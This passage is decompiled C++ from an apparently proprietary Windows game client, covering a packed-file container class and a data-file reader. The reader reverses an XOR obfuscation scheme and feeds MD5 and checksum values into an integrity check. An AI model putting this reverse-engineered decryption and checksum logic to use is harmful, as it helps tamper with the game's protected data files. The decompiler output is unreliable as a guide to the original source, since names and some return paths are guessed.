*lpNumberOfBytesRead); return 1; } //----- (005EDFD0) -------------------------------------------------------- int __thiscall CGdp::WriteFile(CGdp *this, void *hFile, const void *lpBuffer, unsigned int nNumberOfBytesToWrite, unsigned int *lpNumberOfBytesWritten, _OVERLAPPED *lpOverlapped) { CGdp *v6; // esi@1 int result; // eax@2 unsigned int v8; // eax@7 int v9; // eax@8 void *v10; // edi@10 v6 = this; if ( this->m_bIsGDPOpen ) { if ( hFile == this->m_hFile ) { if ( this->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(this, (void *)lpBuffer, nNumberOfBytesToWrite); v8 = v6->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumChunk; if ( v8 ) { v9 = v8 - 1; if ( v9 && v9 != 1 ) v10 = hFile; else v10 = 0; } else { v10 = (void *)WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); } if ( v6->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(v6, (void *)lpBuffer, nNumberOfBytesToWrite); if ( v10 ) { v6->m_bWritten = 1; CGdp::UpdateWriteDataInfo(v6, lpBuffer, nNumberOfBytesToWrite); } result = (int)v10; } else { result = 0; } } else { result = WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); } return result; } //----- (005EE080) -------------------------------------------------------- unsigned int __thiscall CGdp::GetFileSize(CGdp *this, void *hFile, unsigned int *lpFileSizeHigh) { unsigned int result; // eax@2 if ( this->m_bIsGDPOpen ) { if ( lpFileSizeHigh ) *lpFileSizeHigh = *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[8]; result = *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[4]; } else { result = GetFileSize(hFile, lpFileSizeHigh); } return result; } //----- (005EE0B0) -------------------------------------------------------- unsigned int __thiscall CGdp::SetFilePointer(CGdp *this, void *hFile, int lDistanceToMove, int *lpDistanceToMoveHigh, unsigned int dwMoveMethod) { CGdp *v5; // esi@1 unsigned int result; // eax@2 CGdp::GDP_CHUNK_LIST *v7; // eax@9 int *v8; // edi@9 int v9; // edx@10 DWORD v10; // eax@15 CGdp::GDP_CHUNK_LIST *v11; // esi@15 void *v12; // [sp-14h] [bp-18h]@9 LONG v13; // [sp-10h] [bp-14h]@9 int *v14; // [sp-Ch] [bp-10h]@9 DWORD v15; // [sp-8h] [bp-Ch]@9 v5 = this; if ( !this->m_bIsGDPOpen ) return SetFilePointer(hFile, lDistanceToMove, lpDistanceToMoveHigh, dwMoveMethod); if ( !dwMoveMethod ) { v8 = lpDistanceToMoveHigh; if ( lpDistanceToMoveHigh ) *lpDistanceToMoveHigh += *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[0]; v15 = 0; v9 = lDistanceToMove + this->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes; goto LABEL_14; } if ( dwMoveMethod == 1 ) { v8 = lpDistanceToMoveHigh; v9 = lDistanceToMove; v15 = 1; LABEL_14: v14 = v8; v13 = v9; v12 = this->m_hFile; goto LABEL_15; } if ( dwMoveMethod != 2 ) { if ( lpDistanceToMoveHigh ) *lpDistanceToMoveHigh = -1; SetLastError(0x57u); return -1; } v7 = this->m_pFileChunk; v8 = lpDistanceToMoveHigh; v15 = 2; v14 = &lpDistanceToMoveHigh[*(_DWORD *)&v7->Chunk.gap114[0]]; v13 = lDistanceToMove + v7->Chunk.___u2.TYPE_MAIN.NumNextChunkComes + *(_DWORD *)&v7->Chunk.gap114[4]; v12 = this->m_hFile; LABEL_15: v10 = SetFilePointer(v12, v13, v14, v15); v11 = v5->m_pFileChunk; result = v10 - v11->Chunk.___u2.TYPE_MAIN.NumNextChunkComes; if ( v8 ) *v8 -= *(_DWORD *)&v11->Chunk.gap114[0]; return result; } //----- (005EE190) -------------------------------------------------------- int __thiscall CGdp::fclose(CGdp *this, _iobuf *stream) { CGdp *v2; // esi@1 int result; // eax@2 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_bIsOpen ) { CGdp::GdpUpdateChunk(this, this->m_dwFileNo); v2->m_bIsOpen = 0; } result = 0; } else { result = fclose(stream); } return result; } //----- (005EE1E0) -------------------------------------------------------- void __thiscall CGdp::CGdp(CGdp *this) { this->m_bWriteEncryptedHeader = 0; this->m_bWriteEncryptedData = 0; this->m_EncryptKey = 0; CGdp::Clear(this); } //----- (005EE200) -------------------------------------------------------- int __thiscall CGdp::GdpCloseFile(CGdp *this) { CGdp::GDP_IO_TYPE v1; // eax@2 if ( this->m_bIsOpen ) { v1 = this->m_GdpIO; if ( !v1 ) return CGdp::CloseHandle(this, this->m_hFile); if ( v1 == 1 ) return CGdp::fclose(this, this->m_fpFile); } return 1; } //----- (005EE240) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpMakeEmptyChunk(CGdp *this, unsigned int NumMakes) { CGdp *v2; // ebx@1 unsigned int result; // eax@1 unsigned int v4; // ebp@1 unsigned int v5; // eax@2 unsigned int v6; // esi@2 int v7; // ebp@3 unsigned int v8; // edi@10 int v9; // ebp@11 int v10; // esi@11 int *v11; // eax@12 CGdp::GDP_IO_TYPE v12; // ecx@14 DWORD v13; // eax@17 CGdp::GDP_CHUNK_LIST *v14; // edx@25 int v15; // esi@25 CGdp::GDP_IO_TYPE v16; // ecx@27 signed int v17; // eax@29 CGdp::GDP_CHUNK_LIST *v18; // ecx@39 unsigned int v19; // esi@39 unsigned int dwChunkEnd; // [sp+8h] [bp-148h]@2 unsigned int FPos; // [sp+Ch] [bp-144h]@8 LONG FPosHigh; // [sp+10h] [bp-140h]@8 CGdp::GDP_CHUNK Chunk; // [sp+14h] [bp-13Ch]@10 v2 = this; result = (unsigned int)malloc(324 * (NumMakes + this->m_dwNumChunk + 1)); v4 = result; if ( result ) { memcpy((void *)result, v2->m_pChunkList, 324 * v2->m_dwNumChunk); free(v2->m_pChunkList); v5 = v2->m_dwNumChunk; v6 = 0; v2->m_pChunkList = (CGdp::GDP_CHUNK_LIST *)v4; dwChunkEnd = 0; if ( v5 ) { v7 = v4 + 8; do { if ( *(_DWORD *)v7 == 5 ) break; ++v6; v7 += 324; } while ( v6 < v2->m_dwNumChunk ); dwChunkEnd = v6; } if ( v6 >= v5 || (FPosHigh = 0, FPos = CGdp::GdpSetFilePointer(v2, 0, &FPosHigh, 2u), FPos == -1) && GetLastError() ) return -1; memset(&Chunk, 0, sizeof(Chunk)); v8 = 1; Chunk.Type = 4; if ( NumMakes >= 1 ) { v9 = FPos; v10 = v6 + 1; while ( 1 ) { v11 = &v2->m_pChunkList[v10].ChunkFPosHigh; if ( &v2->m_pChunkList[v10] != (CGdp::GDP_CHUNK_LIST *)-4 ) *v11 = 0; v12 = v2->m_GdpIO; if ( v12 ) { if ( v12 == 1 && (v9 = ftell(v2->m_fpGDPFile)) != 0 ) { SetLastError(0x84u); v13 = -1; } else { v13 = v9; } } else { v13 = SetFilePointer(v2->m_hGDPFile, 0, v11, 1u); } v2->m_pChunkList[v10].ChunkFPos = v13; if ( v2->m_pChunkList[v10].ChunkFPos == -1 ) { if ( GetLastError() ) return -1; } if ( !CGdp::GdpWriteChunk(v2, &Chunk) ) return -1; v2->m_pChunkList[v10].Chunk.Type = 4; ++v8; ++v10; if ( v8 > NumMakes ) { v6 = dwChunkEnd; break; } } } v14 = v2->m_pChunkList; v15 = v8 + v6; Chunk.Type = 5; if ( &v14[v15] != (CGdp::GDP_CHUNK_LIST *)-4 ) v14[v15].ChunkFPosHigh = 0; v16 = v2->m_GdpIO; if ( v16 ) { if ( v16 == 1 ) { v17 = ftell(v2->m_fpGDPFile); if ( v17 ) { SetLastError(0x84u); v17 = -1; } } else { v17 = FPos; } } else { v17 = SetFilePointer(v2->m_hGDPFile, 0, &v14[v15].ChunkFPosHigh, 1u); } if ( (v2->m_pChunkList[v15].ChunkFPos = v17, v2->m_pChunkList[v15].ChunkFPos == -1) && GetLastError() || !CGdp::GdpWriteChunk(v2, &Chunk) || (v2->m_pChunkList[v15].Chunk.Type = 5, v2->m_pChunkList[dwChunkEnd].Chunk.Type = 1, v2->m_pChunkList[dwChunkEnd].Chunk.___u2.TYPE_MAIN.NumChunk = FPos, v2->m_pChunkList[dwChunkEnd].Chunk.___u2.TYPE_MAIN.NumNextChunkComes = FPosHigh, *(_DWORD *)&v2->m_pChunkList[dwChunkEnd].Chunk.gap114[0] = NumMakes + 1, CGdp::GdpSetFilePointer( v2, v2->m_pChunkList[dwChunkEnd].ChunkFPos, &v2->m_pChunkList[dwChunkEnd].ChunkFPosHigh, 0) == -1) && GetLastError() || !CGdp::GdpWriteChunk(v2, &v2->m_pChunkList[dwChunkEnd].Chunk) || (v18 = v2->m_pChunkList, v19 = NumMakes + 1 + v2->m_dwNumChunk, v2->m_dwNumChunk = v19, v18->Chunk.___u2.TYPE_MAIN.NumChunk = v19, !CGdp::GdpUpdateChunk(v2, 0)) ) return -1; result = dwChunkEnd + 1; } return result; } //----- (005EE590) -------------------------------------------------------- int __thiscall CGdp::GdpClose(CGdp *this) { CGdp *v1; // esi@1 CGdp::GDP_IO_TYPE v2; // eax@2 CGdp::GDP_IO_TYPE v4; // eax@9 v1 = this; if ( this->m_bIsOpen ) { v2 = this->m_GdpIO; if ( v2 ) { if ( v2 == 1 && CGdp::fclose(this, this->m_fpFile) ) return 0; } else { if ( !CGdp::CloseHandle(this, this->m_hFile) ) return 0; } v1->m_bIsOpen = 0; } if ( v1->m_bIsGDPOpen ) { v4 = v1->m_GdpIO; v1->m_bIsGDPOpen = 0; if ( v4 ) { if ( v4 == 1 && !v1->m_bIsGDPOpenByFilePointer ) fclose(v1->m_fpGDPFile); } else { if ( !v1->m_bIsGDPOpenByHandle ) CloseHandle(v1->m_hGDPFile); } } if ( v1->m_pChunkList ) free(v1->m_pChunkList); CGdp::Clear(v1); return 1; } //----- (005EE640) -------------------------------------------------------- int __thiscall CGdp::Open(CGdp *this, unsigned int GdpFileNo) { CGdp *v2; // esi@1 int result; // eax@2 unsigned int v4; // eax@8 void *v5; // edx@9 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_dwNumChunk >= GdpFileNo ) { if ( this->m_pChunkList[GdpFileNo].Chunk.Type == 2 && CGdp::GdpCloseFile(this) && (v4 = (unsigned int)&v2->m_pChunkList[GdpFileNo], v2->m_dwFileNo = GdpFileNo, v2->m_pFileChunk = (CGdp::GDP_CHUNK_LIST *)v4, v2->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes == CGdp::GdpSetFilePointer( v2, *(_DWORD *)(v4 + 280), (int *)(v4 + 284), 0)) ) { v5 = v2->m_hGDPFile; v2->m_fpFile = v2->m_fpGDPFile; result = 1; v2->m_hFile = v5; v2->m_bWritten = 0; v2->m_bIsOpen = 1; v2->m_bNew = 0; } else { result = 0; } } else { result = 0; } } else { result = 0; } return result; } //----- (005EE700) -------------------------------------------------------- int __thiscall CGdp::Open(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@3 v2 = this; if ( this->m_bIsGDPOpen && (v3 = CGdp::GdpSearchFile(this, lpFileName), v3 != -1) ) result = CGdp::Open(v2, v3); else result = 0; return result; } //----- (005EE740) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpGetEmptyChunk(CGdp *this) { unsigned int v1; // esi@1 unsigned int result; // eax@1 char *v3; // edx@2 v1 = this->m_dwNumChunk; result = 0; if ( v1 ) { v3 = (char *)&this->m_pChunkList->Chunk; while ( *(_DWORD *)v3 != 4 ) { ++result; v3 += 324; if ( result >= v1 ) goto LABEL_5; } } else { LABEL_5: result = CGdp::GdpMakeEmptyChunk(this, this->m_dwDefaultNumEmptyMakes); } return result; } //----- (005EE780) -------------------------------------------------------- void *__thiscall CGdp::CreateFileA(CGdp *this, const char *lpFileName, unsigned int dwDesiredAccess, unsigned int dwShareMode, _SECURITY_ATTRIBUTES *lpSecurityAttributes, unsigned int dwCreationDisposition, unsigned int dwFlagsAndAttributes, void *hTemplateFile) { CGdp *v8; // esi@1 void *result; // eax@2 CGdp::GDP_IO_TYPE v10; // eax@4 const char *v11; // edi@9 unsigned int v12; // eax@20 int v13; // eax@21 struct _SYSTEMTIME SystemTime; // [sp+8h] [bp-10h]@21 v8 = this; if ( !this->m_bIsGDPOpen ) return CreateFileA( lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); if ( this->m_bIsOpen ) { v10 = this->m_GdpIO; if ( v10 ) { if ( v10 == 1 ) CGdp::fclose(this, this->m_fpFile); } else { CGdp::CloseHandle(this, this->m_hFile); } } switch ( dwCreationDisposition ) { case 1u: v11 = lpFileName; if ( CGdp::GdpSearchFile(v8, lpFileName) == -1 ) goto LABEL_Create_New; SetLastError(0xB7u); return (void *)-1; case 2u: v11 = lpFileName; CGdp::GdpDeleteFile(v8, lpFileName); goto LABEL_Create_New; case 3u: if ( !CGdp::Open(v8, lpFileName) ) goto LABEL_18; return v8->m_hFile; case 4u: v11 = lpFileName; if ( !CGdp::Open(v8, lpFileName) ) goto LABEL_Create_New; return v8->m_hFile; case 5u: v11 = lpFileName; if ( CGdp::GdpSearchFile(v8, lpFileName) != -1 ) { LABEL_18: SetLastError(0x490u); return (void *)-1; } if ( !CGdp::GdpDeleteFile(v8, 0xFFFFFFFFu) ) return (void *)-1; LABEL_Create_New: v12 = CGdp::GdpGetEmptyChunk(v8); v8->m_dwFileNo = v12; if ( v12 == -1 || (GetSystemTime(&SystemTime), v13 = (int)&v8->m_pChunkList[v8->m_dwFileNo], v8->m_pFileChunk = (CGdp::GDP_CHUNK_LIST *)v13, *(_DWORD *)(v13 + 8) = 2, strncpy(v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.Comment, v11, 0x103u), *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[4] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[8] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[12] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[16] = 0, SystemTimeToFileTime(&SystemTime, (LPFILETIME)&v8->m_pFileChunk->Chunk.gap114[20]), *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[28] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[0] = 0, v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes = SetFilePointer( v8->m_hGDPFile, 0, (PLONG)v8->m_pFileChunk->Chunk.gap114, 2u), v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes == -1) && GetLastError() ) return (void *)-1; result = v8->m_hGDPFile; v8->m_bWritten = 0; v8->m_fpFile = 0; v8->m_hFile = result; v8->m_bIsOpen = 1; v8->m_bNew = 1; return result; default: return (void *)-1; } } //----- (005EEA00) -------------------------------------------------------- void __thiscall CSocket_Acceptor_Process::CSocket_Acceptor_Process(CSocket_Acceptor_Process *this) { CSocket_Acceptor_Process *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = (char *)&this->m_DefaultProcess; *(_DWORD *)v2 = &CSocket_Acceptor_Process_Interface::_vftable_; v1->m_pProcess = (CSocket_Acceptor_Process_Interface *)v2; } // 689514: using guessed type int (__stdcall *CSocket_Acceptor_Process_Interface___vftable_)(int pOverlapped, int NumOfBytes); //----- (005EEA10) -------------------------------------------------------- void __thiscall CDataReader::CDataReader(CDataReader *this) { *(_QWORD *)&this->m_sFileMD5.n8_name[24] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[16] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[8] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[0] = 0i64; this->m_pHead = 0; this->m_nBFSize = 0; this->m_nDataArraySize = 0; this->m_nFileCheckSum = 0; } //----- (005EEA40) -------------------------------------------------------- void __thiscall CDataReader::ClearBF(CDataReader *this) { CDataReader *v1; // esi@1 v1 = this; if ( this->m_nBFSize ) { operator delete(this->m_pHead); v1->m_pHead = 0; v1->m_pData = 0; } v1->m_nBFSize = 0; v1->m_nFileCheckSum = 0; } //----- (005EEA70) -------------------------------------------------------- void __cdecl CDataReader::Encription(CDataReader *this, char *pBF, unsigned int nSize) { char v3; // al@1 char *i; // ecx@1 char v5; // dl@2 v3 = (char)pBF; for ( i = pBF - 1; (signed int)i >= 0; LOBYTE(pBF) = v5 ) { *((_BYTE *)&this->m_nFileSize + (_DWORD)i) ^= v3; v5 = (unsigned __int8)pBF ^ 11 * (_BYTE)i ^ (((unsigned __int8)i & 0xF) + 85) ^ 0xAA; --i; v3 = v5; } } //----- (005EEAB0) -------------------------------------------------------- void *__thiscall CDataReader::GetRecord(CDataReader *this, unsigned int RecordNo) { CDataReader::HEAD *v2; // eax@1 void *result; // eax@3 v2 = this->m_pHead; if ( v2 && RecordNo < v2->nNumOfRecord ) result = this->m_pDataArray[RecordNo]; else result = 0; return result; } //----- (005EEAD0) -------------------------------------------------------- void __thiscall CDataReader::_CDataReader(CDataReader *this) { CDataReader *v1; // esi@1 bool v2; // zf@3 v1 = this; if ( this->m_nBFSize ) { operator delete(this->m_pHead); v1->m_pHead = 0; v1->m_pData = 0; } v2 = v1->m_nDataArraySize == 0; v1->m_nBFSize = 0; v1->m_nFileCheckSum = 0; if ( !v2 ) operator delete__(v1->m_pDataArray); v1->m_nDataArraySize = 0; } //----- (005EEB10) -------------------------------------------------------- void __thiscall std::num_get>>::num_get>>(std::num_get > > *this, unsigned int _Refs) { std::num_get > > *v2; // esi@1 std::_Locinfo thisa; // [sp+8h] [bp-80h]@1 int v4; // [sp+84h] [bp-4h]@1 v2 = this; this->baseclass_0._Refs = _Refs; v4 = 0; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::num_get>>::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); *(_QWORD *)&v2->_Cvt._Hand = _Getcvt(); std::_Locinfo::__Locinfo(&thisa); } // 689518: using guessed type int (__thiscall *std__num_get_char_std__istreambuf_iterator_char_std__char_traits_char______vftable_)(void *p, char); //----- (005EEB90) -------------------------------------------------------- void *__thiscall std::codecvt::_vector_deleting_destructor_(std::num_get > > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::codecvt_base::_codecvt_base(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005EEBB0) -------------------------------------------------------- int __thiscall std::basic_streambuf>::snextc(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // esi@1 char **v2; // eax@1 int *v3; // edx@2 char **v4; // eax@3 int *v5; // ecx@3 int result; // eax@3 int **v7; // ecx@6 v1 = this; v2 = this->_IGnext; if ( *v2 && (v3 = this->_IGcount, *v2 < &(*v2)[*v3]) ) { --*v3; v4 = this->_IGnext; v5 = (int *)(*v4)++; result = *(_BYTE *)v5; } else { result = this->vfptr->uflow(this); } if ( result != -1 ) { v7 = (int **)v1->_IGnext; if ( *v7 && *v7 < (int *)((char *)*v7 + *v1->_IGcount) ) result = *(_BYTE *)*v7; else result = v1->vfptr->underflow(v1); } return result; } //----- (005EEC20) -------------------------------------------------------- bool __thiscall std::basic_istream>::_Ipfx(std::basic_istream > *this, bool _Noskip) { std::basic_istream > *v2; // esi@1 int v3; // ecx@1 int v4; // eax@1 int v5; // ecx@1 std::basic_ostream > *v6; // ecx@2 int v7; // edx@5 std::locale *v8; // eax@6 std::ctype *v9; // eax@6 int v10; // edi@6 std::ctype *v11; // ebx@6 unsigned int v12; // eax@7 int v13; // edi@10 int v14; // ecx@12 int *v15; // eax@12 int v16; // eax@14 int v17; // ecx@17 int v18; // eax@17 int v19; // edx@17 std::ios_base *v20; // ecx@17 int v21; // eax@17 int v22; // eax@22 bool result; // al@23 int v24; // eax@24 int v25; // [sp+0h] [bp-24h]@1 std::_Lockit thisa; // [sp+Ch] [bp-18h]@7 std::basic_istream > *v27; // [sp+10h] [bp-14h]@1 int *v28; // [sp+14h] [bp-10h]@1 int v29; // [sp+20h] [bp-4h]@6 v2 = this; v3 = *(_DWORD *)(*(_DWORD *)&this->gap0[0] + 4); v4 = *(_DWORD *)&v2->gap8[v3]; v5 = (int)((char *)v2 + v3); v28 = &v25; v27 = v2; if ( v4 ) goto LABEL_29; v6 = *(std::basic_ostream > **)(v5 + 44); if ( v6 ) std::basic_ostream>::flush(v6); if ( !_Noskip ) { v7 = *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4); if ( *(_DWORD *)&v2->gap8[v7 + 8] & 1 ) { v8 = std::ios_base::getloc((std::ios_base *)((char *)v2 + v7), (std::locale *)&_Noskip); v29 = 0; v9 = std::use_facet>(v8); v10 = _Noskip; v11 = v9; v29 = -1; if ( _Noskip ) { std::_Lockit::_Lockit(&thisa, 0); v12 = *(_DWORD *)(v10 + 4); if ( v12 && v12 < 0xFFFFFFFF ) *(_DWORD *)(v10 + 4) = v12 - 1; v13 = ((*(_DWORD *)(v10 + 4) != 0) - 1) & v10; std::_Lockit::__Lockit(&thisa); if ( v13 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v13)(v13, 1); } v14 = *(_DWORD *)&v2->gap8[*(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4) + 32]; v15 = (int *)**(_DWORD **)(v14 + 32); v29 = 1; if ( v15 && **(_DWORD **)(v14 + 32) < (unsigned int)(**(_DWORD **)(v14 + 32) + **(_DWORD **)(v14 + 48)) ) v16 = *(_BYTE *)v15; else v16 = (*(int (**)(void))(*(_DWORD *)v14 + 16))(); while ( v16 != -1 ) { if ( !(v11->_Ctype._Table[(unsigned __int8)v16] & 0x48) ) goto LABEL_22; v16 = std::basic_streambuf>::snextc(*(std::basic_streambuf > **)&v2->gap8[*(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4) + 32]); } v17 = *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4); v18 = *(_DWORD *)&v2->gap8[v17]; v19 = *(_DWORD *)&v2->gap8[v17 + 32]; v20 = (std::ios_base *)((char *)v2 + v17); v21 = v18 | 1; if ( !v19 ) v21 |= 4u; std::ios_base::clear(v20, v21, 0); } } LABEL_22: v5 = (int)((char *)v2 + *(_DWORD *)(*(_DWORD *)&v2->gap0[0] + 4)); v22 = *(_DWORD *)(v5 + 8); v29 = -1; if ( v22 ) { LABEL_29: v24 = *(_DWORD *)(v5 + 8) | 2; if ( !*(_DWORD *)(v5 + 40) ) v24 = *(_DWORD *)(v5 + 8) | 6; std::ios_base::clear((std::ios_base *)v5, v24, 0); result = 0; } else { result = 1; } return result; } //----- (005EEDF0) -------------------------------------------------------- unsigned int __cdecl std::num_get>>::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x10u); if ( v1 ) std::num_get>>::num_get>>( (std::num_get > > *)v1, 0); else v2 = 0; *_Ppf = v2; } return 4; } //----- (005EEE60) -------------------------------------------------------- void __thiscall std::basic_istream>::sentry::sentry(std::basic_istream >::sentry *this, std::basic_istream > *_Istr, bool _Noskip) { std::basic_istream >::sentry *v3; // esi@1 int v4; // eax@1 v3 = this; this->baseclass_0._Myistr = _Istr; v4 = *(_DWORD *)&_Istr->gap8[*(_DWORD *)(*(_DWORD *)&_Istr->gap0[0] + 4) + 32]; if ( v4 ) std::_Mutex::_Lock((std::_Mutex *)(v4 + 4)); v3->_Ok = std::basic_istream>::_Ipfx(v3->baseclass_0._Myistr, _Noskip); } //----- (005EEED0) -------------------------------------------------------- std::num_get > > *__cdecl std::use_facet>>>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+8h] [bp-24h]@1 std::_Lockit this; // [sp+Ch] [bp-20h]@2 std::_Lockit _Lock; // [sp+10h] [bp-1Ch]@1 char pExceptionObject; // [sp+14h] [bp-18h]@9 int v9; // [sp+28h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>>>::_Psave; v9 = 0; _Psave = std::_Facetptr>>>::_Psave; if ( !std::num_get>>::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::num_get>>::id ) { ++std::locale::id::_Id_cnt; std::num_get>>::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::num_get>>::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::num_get>>::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>>>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::num_get > > *)v2; } // 1535EBDC: using guessed type int std___Facetptr_std__num_get_char_std__istreambuf_iterator_char_std__char_traits_char_______Psave; // 1535F460: using guessed type int std__locale__id___Id_cnt; //----- (005EEFE0) -------------------------------------------------------- int __thiscall CDataReader::Read(CDataReader *this, const char *pFN) { CDataReader *v2; // esi@1 _iobuf *v3; // eax@1 _iobuf *v4; // edi@1 int v5; // eax@2 int v6; // eax@2 unsigned int v7; // ecx@2 void *v8; // eax@5 unsigned int v9; // ecx@5 unsigned int v10; // ebp@6 CDataReader::HEAD *v11; // eax@10 CDataReader::HEAD *v12; // eax@13 unsigned int v13; // edi@14 unsigned int v14; // eax@16 char *v15; // eax@20 unsigned int i; // ecx@20 unsigned int v17; // edx@22 unsigned int v18; // eax@22 CDataReader::HEAD *v19; // ecx@23 void *v20; // eax@25 int v21; // esi@27 int result; // eax@33 Name8 v23; // [sp-20h] [bp-60h]@27 char *v24; // [sp-Ch] [bp-4Ch]@27 const char *v25; // [sp-8h] [bp-48h]@27 unsigned int v26; // [sp-4h] [bp-44h]@5 unsigned int v27; // [sp+0h] [bp-40h]@12 char *FileName; // [sp+10h] [bp-30h]@1 char sFileMD5; // [sp+14h] [bp-2Ch]@25 char *p; // [sp+18h] [bp-28h]@25 unsigned int v31; // [sp+2Ch] [bp-14h]@25 unsigned int v32; // [sp+30h] [bp-10h]@1 int v33; // [sp+3Ch] [bp-4h]@25 v32 = (unsigned int)&FileName ^ __security_cookie; v2 = this; FileName = (char *)pFN; v3 = fopen(pFN, "rb"); v4 = v3; if ( v3 ) { v5 = fileno(v3); v6 = filelength(v5); v7 = v2->m_nBFSize; v2->m_nFileSize = v6; if ( v7 < v6 ) { if ( v7 ) { operator delete(v2->m_pHead); v2->m_pHead = 0; v2->m_pData = 0; } v26 = v2->m_nFileSize; v2->m_nBFSize = 0; v2->m_nFileCheckSum = 0; v8 = operator new__(v26); v9 = v2->m_nFileSize; v2->m_pHead = (CDataReader::HEAD *)v8; v2->m_pData = 0; v2->m_nBFSize = v9; } v10 = fread(v2->m_pHead, v2->m_nFileSize, 1u, v4); fclose(v4); if ( v10 == 1 ) { v11 = v2->m_pHead; if ( v11 && v11->nDataMode ) CDataReader::Encription((CDataReader *)&v11->nDataSize, (char *)(v2->m_nFileSize - 36), v27); v12 = v2->m_pHead; v2->m_pData = (char *)&v12[1] + 56 * v12->nNumOfField; if ( v12 ) v13 = v12->nNumOfRecord; else v13 = 0; v14 = v2->m_nDataArraySize; if ( v14 < v13 ) { if ( v14 ) operator delete__(v2->m_pDataArray); v26 = 4 * v13; v2->m_nDataArraySize = 0; v2->m_pDataArray = (char **)operator new__(v26); v2->m_nDataArraySize = v13; } v15 = v2->m_pData; for ( i = 0; i < v13; ++i ) { v2->m_pDataArray[i] = v15 + 2; v15 += *(_WORD *)v15; } v17 = v2->m_nBFSize; v18 = 0; v2->m_nFileCheckSum = 0; if ( v17 > 0 ) { v19 = v2->m_pHead; do { v2->m_nFileCheckSum += v18 * *((_BYTE *)&v19->nVersionKey + v18); ++v18; } while ( v18 < v2->m_nBFSize ); } CMD5Checksum::GetMD5( (std::basic_string,std::allocator > *)&sFileMD5, (char *)v2->m_pHead, v17); v20 = p; v33 = 0; if ( v31 < 0x10 ) v20 = &p; v21 = (int)&v2->m_sFileMD5; v26 = 32; v25 = (const char *)v20; v24 = (char *)v21; *(_DWORD *)(v21 + 28) = 0; *(_DWORD *)(v21 + 24) = 0; *(_DWORD *)(v21 + 20) = 0; *(_DWORD *)(v21 + 16) = 0; *(_DWORD *)(v21 + 12) = 0; *(_DWORD *)(v21 + 8) = 0; *(_DWORD *)(v21 + 4) = 0; *(_DWORD *)v21 = 0; strncpy(v24, v25, v26); memcpy(&v23, (const void *)v21, sizeof(v23)); if ( CShnDataFileCheckSum::InitDataFileCheckSum(&ShnDataFile, FileName, v23) ) { if ( v31 >= 0x10 ) operator delete(p); } else { if ( v31 >= 0x10 ) operator delete(p); } } else { if ( v2->m_nBFSize ) { operator delete(v2->m_pHead); v2->m_pHead = 0; v2->m_pData = 0; } v2->m_nBFSize = 0; v2->m_nFileCheckSum = 0; } } __security_check_cookie((unsigned int)&FileName ^ v32); return result; } //----- (005EF230) -------------------------------------------------------- int __thiscall CDataReader::Read(CDataReader *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize) { CDataReader *v4; // esi@1 int result; // eax@2 CDataReader::HEAD *v6; // eax@3 v4 = this; if ( CDataReader::Read(this, pFN) && (v6 = v4->m_pHead, v6->nVersionKey == nVersionKey) ) result = v6->nFieldSize - 2 == nStructSize; else result = 0; return result; } //----- (005EF270) -------------------------------------------------------- 